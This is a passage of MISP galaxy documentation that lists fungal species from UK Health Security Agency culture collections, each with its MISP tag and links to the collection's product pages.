
The tag is: *misp-galaxy:ukhsa-culture-collections="Candida metapsilosis"*

Table 27429. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-metapsilosis-4
https://www.culturecollections.org.uk/nop/product/candida-metapsilosis-3
https://www.culturecollections.org.uk/nop/product/candida-metapsilosis-2
https://www.culturecollections.org.uk/nop/product/candida-metapsilosis

Lodderomyces elongisporus

The tag is: *misp-galaxy:ukhsa-culture-collections="Lodderomyces elongisporus"*

Table 27430. Table References

Links
https://www.culturecollections.org.uk/nop/product/lodderomyces-elongisporus

Wickerhamomyces onychis

The tag is: *misp-galaxy:ukhsa-culture-collections="Wickerhamomyces onychis"*

Table 27431. Table References

Links
https://www.culturecollections.org.uk/nop/product/wickerhamomyces-onychis

Candida orthopsilosis

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida orthopsilosis"*

Table 27432. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-orthopsilosis-13
https://www.culturecollections.org.uk/nop/product/candida-orthopsilosis-10
https://www.culturecollections.org.uk/nop/product/candida-orthopsilosis-4
https://www.culturecollections.org.uk/nop/product/candida-orthopsilosis
https://www.culturecollections.org.uk/nop/product/candida-orthopsilosis-14

Candida palmioleophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida palmioleophila"*

Table 27433. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-palmioleophila

Clavispora lusitaniae

The tag is: *misp-galaxy:ukhsa-culture-collections="Clavispora lusitaniae"*

Table 27434. Table References

Links
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-76
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-75
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-74
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-73
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-69
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-55
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-16
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-10
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-6
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-5
https://www.culturecollections.org.uk/nop/product/clavispora-lusitaniae-2

Paecilomyces maximus

The tag is: *misp-galaxy:ukhsa-culture-collections="Paecilomyces maximus"*

Table 27435. Table References

Links

https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus-6
https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus-5
https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus-4
https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus-3
https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus-2
https://www.culturecollections.org.uk/nop/product/paecilomyces-maximus

Paecilomyces variotii

The tag is: *misp-galaxy:ukhsa-culture-collections="Paecilomyces variotii"*

Table 27436. Table References

Links
https://www.culturecollections.org.uk/nop/product/paecilomyces-variotii-5
https://www.culturecollections.org.uk/nop/product/paecilomyces-variotii-4
https://www.culturecollections.org.uk/nop/product/paecilomyces-variotii-3
https://www.culturecollections.org.uk/nop/product/paecilomyces-variotii-2
https://www.culturecollections.org.uk/nop/product/paecilomyces-variotii

Paecilomyces saturatus

The tag is: *misp-galaxy:ukhsa-culture-collections="Paecilomyces saturatus"*

Table 27437. Table References

Links
https://www.culturecollections.org.uk/nop/product/paecilomyces-saturatus-2
https://www.culturecollections.org.uk/nop/product/paecilomyces-saturatus

Pleurostoma repens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pleurostoma repens"*

Table 27438. Table References

Links
https://www.culturecollections.org.uk/nop/product/pleurostoma-repens

Epidermophyton floccosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Epidermophyton floccosum"*

Table 27439. Table References

Links
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-15
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-14
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-13
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-11
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-9
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-7
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-6
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-5
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-4
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-3
https://www.culturecollections.org.uk/nop/product/epidermophyton-floccosum-20

Trichophyton concentricum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton concentricum"*

Table 27440. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-concentricum-5
https://www.culturecollections.org.uk/nop/product/trichophyton-concentricum-4
https://www.culturecollections.org.uk/nop/product/trichophyton-concentricum-3
https://www.culturecollections.org.uk/nop/product/trichophyton-concentricum-2
https://www.culturecollections.org.uk/nop/product/trichophyton-concentricum

Trichophyton mentagrophytes (mating not tested)

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton mentagrophytes (mating not tested)"*

Table 27441. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-22
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-21
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-17

https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-9
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-6
https://www.culturecollections.org.uk/nop/product/trichophyton-mentagrophytes-mating-not-tested-2

Trichophyton schoenleinii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton schoenleinii"*

Table 27442. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-schoenleinii-9
https://www.culturecollections.org.uk/nop/product/trichophyton-schoenleinii-8
https://www.culturecollections.org.uk/nop/product/trichophyton-schoenleinii-7
https://www.culturecollections.org.uk/nop/product/trichophyton-schoenleinii-6
https://www.culturecollections.org.uk/nop/product/trichophyton-schoenleinii-2

Trichophyton equinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton equinum"*

Table 27443. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-equinum-7
https://www.culturecollections.org.uk/nop/product/trichophyton-equinum-6
https://www.culturecollections.org.uk/nop/product/trichophyton-equinum-3
https://www.culturecollections.org.uk/nop/product/trichophyton-equinum-2

Microsporum distortum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum distortum"*

Table 27444. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-distortum-8
https://www.culturecollections.org.uk/nop/product/microsporum-distortum-7
https://www.culturecollections.org.uk/nop/product/microsporum-distortum-4

https://www.culturecollections.org.uk/nop/product/microsporum-distortum-3
https://www.culturecollections.org.uk/nop/product/microsporum-distortum-2

Trichophyton langeronii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton langeronii"*

Table 27445. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-langeronii

Arthroderma tuberculatum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma tuberculatum"*

Table 27446. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-tuberculatum

Trichophyton longifusum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton longifusum"*

Table 27447. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-longifusum

Trichophyton fischeri

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton fischeri"*

Table 27448. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-fischeri

Trichophyton quinckeanum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton quinckeanum"*

Table 27449. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-quinckeanum-11

https://www.culturecollections.org.uk/nop/product/trichophyton-quinckeanum-9
https://www.culturecollections.org.uk/nop/product/trichophyton-quinckeanum-5
https://www.culturecollections.org.uk/nop/product/trichophyton-quinckeanum-4
https://www.culturecollections.org.uk/nop/product/trichophyton-quinckeanum

Arthroderma gloriae

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma gloriae"*

Table 27450. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-gloriae-2
https://www.culturecollections.org.uk/nop/product/arthroderma-gloriae

Microsporum vanbreuseghemii

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum vanbreuseghemii"*

Table 27451. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-vanbreuseghemii-2
https://www.culturecollections.org.uk/nop/product/microsporum-vanbreuseghemii

Microsporum racemosum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum racemosum"*

Table 27452. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-racemosum-4
https://www.culturecollections.org.uk/nop/product/microsporum-racemosum-3
https://www.culturecollections.org.uk/nop/product/microsporum-racemosum-2
https://www.culturecollections.org.uk/nop/product/microsporum-racemosum

Arthroderma ciferrii

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma ciferrii"*

Table 27453. Table References

Links

https://www.culturecollections.org.uk/nop/product/arthroderma-ciferrii

Trichophyton simii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton simii"*

Table 27454. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-simii-9
https://www.culturecollections.org.uk/nop/product/trichophyton-simii-5
https://www.culturecollections.org.uk/nop/product/trichophyton-simii-4
https://www.culturecollections.org.uk/nop/product/trichophyton-simii-3
https://www.culturecollections.org.uk/nop/product/trichophyton-simii-2

Nannizzia gypsea

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia gypsea"*

Table 27455. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-16
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-13
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-12
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-11
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-4
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-3
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-2

Arthroderma quadrifidum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma quadrifidum"*

Table 27456. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-quadrifidum-3
https://www.culturecollections.org.uk/nop/product/arthroderma-quadrifidum-2
https://www.culturecollections.org.uk/nop/product/arthroderma-quadrifidum

Microsporum equinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum equinum"*

Table 27457. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-equinum-8
https://www.culturecollections.org.uk/nop/product/microsporum-equinum-4
https://www.culturecollections.org.uk/nop/product/microsporum-equinum-3
https://www.culturecollections.org.uk/nop/product/microsporum-equinum-2
https://www.culturecollections.org.uk/nop/product/microsporum-equinum

Trichophyton terrestre

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton terrestre"*

Table 27458. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-terrestre

Arthroderma amazonicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma amazonicum"*

Table 27459. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-amazonicum-3
https://www.culturecollections.org.uk/nop/product/arthroderma-amazonicum-2
https://www.culturecollections.org.uk/nop/product/arthroderma-amazonicum

Trichophyton erinacei

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton erinacei"*

Table 27460. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-erinacei-10
https://www.culturecollections.org.uk/nop/product/trichophyton-erinacei-9
https://www.culturecollections.org.uk/nop/product/trichophyton-erinacei-6
https://www.culturecollections.org.uk/nop/product/trichophyton-erinacei-5

https://www.culturecollections.org.uk/nop/product/trichophyton-erinacei-2

Arthroderma phaseoliforme

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma phaseoliforme"*

Table 27461. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-phaseoliforme

Chrysosporium pannicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Chrysosporium pannicola"*

Table 27462. Table References

Links
https://www.culturecollections.org.uk/nop/product/chrysosporium-pannicola

Trichophyton equinum var. autotrophicum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton equinum var. autotrophicum"*

Table 27463. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-equinum-var-autotrophicum

Arthroderma insingulare

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma insingulare"*

Table 27464. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-insingulare-2
https://www.culturecollections.org.uk/nop/product/arthroderma-insingulare

Arthroderma lenticularum

The tag is: *misp-galaxy:ukhsa-culture-collections="Arthroderma lenticularum"*

Table 27465. Table References

Links
https://www.culturecollections.org.uk/nop/product/arthroderma-lenticularum-2

https://www.culturecollections.org.uk/nop/product/arthroderma-lenticularum

Trichophyton vanbreuseghemii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton vanbreuseghemii"*

Table 27466. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-vanbreuseghemii-5
https://www.culturecollections.org.uk/nop/product/trichophyton-vanbreuseghemii-4
https://www.culturecollections.org.uk/nop/product/trichophyton-vanbreuseghemii-3
https://www.culturecollections.org.uk/nop/product/trichophyton-vanbreuseghemii-2
https://www.culturecollections.org.uk/nop/product/trichophyton-vanbreuseghemii

Microsporum boullardii

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum boullardii"*

Table 27467. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-boullardii

Microsporum ripariae

The tag is: *misp-galaxy:ukhsa-culture-collections="Microsporum ripariae"*

Table 27468. Table References

Links
https://www.culturecollections.org.uk/nop/product/microsporum-ripariae

Lophophyton gallinae

The tag is: *misp-galaxy:ukhsa-culture-collections="Lophophyton gallinae"*

Table 27469. Table References

Links
https://www.culturecollections.org.uk/nop/product/lophophyton-gallinae-4
https://www.culturecollections.org.uk/nop/product/lophophyton-gallinae-3
https://www.culturecollections.org.uk/nop/product/lophophyton-gallinae-2
https://www.culturecollections.org.uk/nop/product/lophophyton-gallinae

Nannizzia gypsea (mating not tested)

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia gypsea (mating not tested)"*

Table 27470. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-mating-not-tested-8
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-mating-not-tested-7
https://www.culturecollections.org.uk/nop/product/nannizzia-gypsea-mating-not-tested-2

Schizophyllum commune

The tag is: *misp-galaxy:ukhsa-culture-collections="Schizophyllum commune"*

Table 27471. Table References

Links
https://www.culturecollections.org.uk/nop/product/schizophyllum-commune-7
https://www.culturecollections.org.uk/nop/product/schizophyllum-commune-6
https://www.culturecollections.org.uk/nop/product/schizophyllum-commune-4
https://www.culturecollections.org.uk/nop/product/schizophyllum-commune-3
https://www.culturecollections.org.uk/nop/product/schizophyllum-commune-2

Penicillium citrinum

The tag is: *misp-galaxy:ukhsa-culture-collections="Penicillium citrinum"*

Table 27472. Table References

Links
https://www.culturecollections.org.uk/nop/product/penicillium-citrinum

Saprochaete clavata

The tag is: *misp-galaxy:ukhsa-culture-collections="Saprochaete clavata"*

Table 27473. Table References

Links
https://www.culturecollections.org.uk/nop/product/saprochaete-clavata

Exserohilum longirostratum

The tag is: *misp-galaxy:ukhsa-culture-collections="Exserohilum longirostratum"*

Table 27474. Table References

Links
https://www.culturecollections.org.uk/nop/product/exserohilum-longirostratum

Verruconis gallopava

The tag is: *misp-galaxy:ukhsa-culture-collections="Verruconis gallopava"*

Table 27475. Table References

Links
https://www.culturecollections.org.uk/nop/product/verruconis-gallopava-6
https://www.culturecollections.org.uk/nop/product/verruconis-gallopava-5
https://www.culturecollections.org.uk/nop/product/verruconis-gallopava-4
https://www.culturecollections.org.uk/nop/product/verruconis-gallopava-2
https://www.culturecollections.org.uk/nop/product/verruconis-gallopava

Curvularia australiensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Curvularia australiensis"*

Table 27476. Table References

Links
https://www.culturecollections.org.uk/nop/product/curvularia-australiensis-9
https://www.culturecollections.org.uk/nop/product/curvularia-australiensis-8
https://www.culturecollections.org.uk/nop/product/curvularia-australiensis-6
https://www.culturecollections.org.uk/nop/product/curvularia-australiensis-2
https://www.culturecollections.org.uk/nop/product/curvularia-australiensis

Sarocladium kiliense

The tag is: *misp-galaxy:ukhsa-culture-collections="Sarocladium kiliense"*

Table 27477. Table References

Links
https://www.culturecollections.org.uk/nop/product/sarocladium-kiliense-3
https://www.culturecollections.org.uk/nop/product/sarocladium-kiliense-2
https://www.culturecollections.org.uk/nop/product/sarocladium-kiliense

Pyrenochaeta unguis-hominis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pyrenochaeta unguis-hominis"*

Table 27478. Table References

Links
https://www.culturecollections.org.uk/nop/product/pyrenochaeta-unguis-hominis-2
https://www.culturecollections.org.uk/nop/product/pyrenochaeta-unguis-hominis

Saksenaea vasiformis Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Saksenaea vasiformis Species Complex"*

Table 27479. Table References

Links
https://www.culturecollections.org.uk/nop/product/saksenaea-vasiformis-species-complex-4
https://www.culturecollections.org.uk/nop/product/saksenaea-vasiformis-species-complex-3
https://www.culturecollections.org.uk/nop/product/saksenaea-vasiformis-species-complex-2
https://www.culturecollections.org.uk/nop/product/saksenaea-vasiformis-species-complex

Myriodontium keratinophilum

The tag is: *misp-galaxy:ukhsa-culture-collections="Myriodontium keratinophilum"*

Table 27480. Table References

Links
https://www.culturecollections.org.uk/nop/product/myriodontium-keratinophilum-2
https://www.culturecollections.org.uk/nop/product/myriodontium-keratinophilum

Trichophyton megninii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichophyton megninii"*

Table 27481. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichophyton-megninii-2
https://www.culturecollections.org.uk/nop/product/trichophyton-megninii

Nannizzia fulva (mating not tested)

The tag is: *misp-galaxy:ukhsa-culture-collections="Nannizzia fulva (mating not tested)"*

Table 27482. Table References

Links
https://www.culturecollections.org.uk/nop/product/nannizzia-fulva-mating-not-tested

Cryptococcus neoformans

The tag is: *misp-galaxy:ukhsa-culture-collections="Cryptococcus neoformans"*

Table 27483. Table References

Links
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-481
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-424
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-405
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-396
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-390
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-384
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-373
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-371
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-365
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-348
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-343
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-340
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-323
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-313
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-70
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-50
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-41
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-36
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-27
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-26
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-14
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-7
https://www.culturecollections.org.uk/nop/product/cryptococcus-neoformans-5

Cryptococcus gattii Species Complex

The tag is: *misp-galaxy:ukhsa-culture-collections="Cryptococcus gattii Species Complex"*

Table 27484. Table References

Links
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-31
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-30
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-28
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-26
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-25
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-24
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-14
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-12
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-11
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-10
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex-2
https://www.culturecollections.org.uk/nop/product/cryptococcus-gattii-species-complex

Papiliotrema laurentii

The tag is: *misp-galaxy:ukhsa-culture-collections="Papiliotrema laurentii"*

Table 27485. Table References

Links
https://www.culturecollections.org.uk/nop/product/papiliotrema-laurentii-7
https://www.culturecollections.org.uk/nop/product/papiliotrema-laurentii-6
https://www.culturecollections.org.uk/nop/product/papiliotrema-laurentii-5
https://www.culturecollections.org.uk/nop/product/papiliotrema-laurentii-4
https://www.culturecollections.org.uk/nop/product/papiliotrema-laurentii

Moesziomyces aphidis

The tag is: *misp-galaxy:ukhsa-culture-collections="Moesziomyces aphidis"*

Table 27486. Table References

Links
https://www.culturecollections.org.uk/nop/product/moesziomyces-aphidis-2

Cryptococcus humicola

The tag is: *misp-galaxy:ukhsa-culture-collections="Cryptococcus humicola"*

Table 27487. Table References

Links
https://www.culturecollections.org.uk/nop/product/cryptococcus-humicola

Candida haemulonii

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida haemulonii"*

Table 27488. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-haemulonii-2
https://www.culturecollections.org.uk/nop/product/candida-haemulonii

Rhodotorula glutinis

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhodotorula glutinis"*

Table 27489. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhodotorula-glutinis-7
https://www.culturecollections.org.uk/nop/product/rhodotorula-glutinis-6
https://www.culturecollections.org.uk/nop/product/rhodotorula-glutinis-5
https://www.culturecollections.org.uk/nop/product/rhodotorula-glutinis-3
https://www.culturecollections.org.uk/nop/product/rhodotorula-glutinis

Saccharomyces cerevisiae

The tag is: *misp-galaxy:ukhsa-culture-collections="Saccharomyces cerevisiae"*

Table 27490. Table References

Links
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-48
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-45
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-4
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-5
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-57
https://www.culturecollections.org.uk/nop/product/saccharomyces-cerevisiae-3

Malassezia pachydermatis

The tag is: *misp-galaxy:ukhsa-culture-collections="Malassezia pachydermatis"*

Table 27491. Table References

Links
https://www.culturecollections.org.uk/nop/product/malassezia-pachydermatis-14
https://www.culturecollections.org.uk/nop/product/malassezia-pachydermatis-8
https://www.culturecollections.org.uk/nop/product/malassezia-pachydermatis-7
https://www.culturecollections.org.uk/nop/product/malassezia-pachydermatis-6
https://www.culturecollections.org.uk/nop/product/malassezia-pachydermatis-3

Naganishia albida

The tag is: *misp-galaxy:ukhsa-culture-collections="Naganishia albida"*

Table 27492. Table References

Links
https://www.culturecollections.org.uk/nop/product/naganishia-albida-14
https://www.culturecollections.org.uk/nop/product/naganishia-albida-12
https://www.culturecollections.org.uk/nop/product/naganishia-albida-7
https://www.culturecollections.org.uk/nop/product/naganishia-albida-6
https://www.culturecollections.org.uk/nop/product/naganishia-albida-5

Candida zeylanoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida zeylanoides"*

Table 27493. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-zeylanoides-4
https://www.culturecollections.org.uk/nop/product/candida-zeylanoides-3
https://www.culturecollections.org.uk/nop/product/candida-zeylanoides-2
https://www.culturecollections.org.uk/nop/product/candida-zeylanoides

Cryptococcus deneoformans

The tag is: *misp-galaxy:ukhsa-culture-collections="Cryptococcus deneoformans"*

Table 27494. Table References

Links
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-9
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-8
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-7
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-6
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-5
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-4
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-3
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans-2
https://www.culturecollections.org.uk/nop/product/cryptococcus-deneoformans

Malassezia furfur

The tag is: *misp-galaxy:ukhsa-culture-collections="Malassezia furfur"*

Table 27495. Table References

Links
https://www.culturecollections.org.uk/nop/product/malassezia-furfur-14
https://www.culturecollections.org.uk/nop/product/malassezia-furfur

Issatchenkia orientalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Issatchenkia orientalis"*

Table 27496. Table References

Links
https://www.culturecollections.org.uk/nop/product/issatchenkia-orientalis-23
https://www.culturecollections.org.uk/nop/product/issatchenkia-orientalis-21
https://www.culturecollections.org.uk/nop/product/issatchenkia-orientalis-17
https://www.culturecollections.org.uk/nop/product/issatchenkia-orientalis-22

Pichia norvegensis

The tag is: *misp-galaxy:ukhsa-culture-collections="Pichia norvegensis"*

Table 27497. Table References

Links
https://www.culturecollections.org.uk/nop/product/pichia-norvegensis-3
https://www.culturecollections.org.uk/nop/product/pichia-norvegensis-2

Trichosporon ovoides

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon ovoides"*

Table 27498. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-ovoides

Trichosporon asteroides

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon asteroides"*

Table 27499. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-asteroides

Trichosporon inkin

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon inkin"*

Table 27500. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-inkin

Trichosporon cutaneum

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon cutaneum"*

Table 27501. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-cutaneum

Trichosporon asahii

The tag is: *misp-galaxy:ukhsa-culture-collections="Trichosporon asahii"*

Table 27502. Table References

Links
https://www.culturecollections.org.uk/nop/product/trichosporon-asahii-2
https://www.culturecollections.org.uk/nop/product/trichosporon-asahii

Pichia membranefaciens

The tag is: *misp-galaxy:ukhsa-culture-collections="Pichia membranefaciens"*

Table 27503. Table References

Links
https://www.culturecollections.org.uk/nop/product/pichia-membranefaciens

Candida viswanathii

The tag is: *misp-galaxy:ukhsa-culture-collections="Candida viswanathii"*

Table 27504. Table References

Links
https://www.culturecollections.org.uk/nop/product/candida-viswanathii

Rhizopus microsporus

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhizopus microsporus"*

Table 27505. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-20
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-19
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-14
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-8
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-7
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-6
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-5
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-4
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-3
https://www.culturecollections.org.uk/nop/product/rhizopus-microsporus-2

Scopulariopsis brumptii

The tag is: *misp-galaxy:ukhsa-culture-collections="Scopulariopsis brumptii"*

Table 27506. Table References

Links
https://www.culturecollections.org.uk/nop/product/scopulariopsis-brumptii-2

https://www.culturecollections.org.uk/nop/product/scopulariopsis-brumptii

Alternaria alternata

The tag is: *misp-galaxy:ukhsa-culture-collections="Alternaria alternata"*

Table 27507. Table References

Links
https://www.culturecollections.org.uk/nop/product/alternaria-alternata-8
https://www.culturecollections.org.uk/nop/product/alternaria-alternata-6
https://www.culturecollections.org.uk/nop/product/alternaria-alternata-5
https://www.culturecollections.org.uk/nop/product/alternaria-alternata-4
https://www.culturecollections.org.uk/nop/product/alternaria-alternata-3

Rhizopus stolonifer

The tag is: *misp-galaxy:ukhsa-culture-collections="Rhizopus stolonifer"*

Table 27508. Table References

Links
https://www.culturecollections.org.uk/nop/product/rhizopus-stolonifer-3
https://www.culturecollections.org.uk/nop/product/rhizopus-stolonifer-2
https://www.culturecollections.org.uk/nop/product/rhizopus-stolonifer

Hormographiella verticillata

The tag is: *misp-galaxy:ukhsa-culture-collections="Hormographiella verticillata"*

Table 27509. Table References

Links
https://www.culturecollections.org.uk/nop/product/hormographiella-verticillata

Phaeoacremonium parasiticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Phaeoacremonium parasiticum"*

Table 27510. Table References

Links
https://www.culturecollections.org.uk/nop/product/phaeoacremonium-parasiticum-11
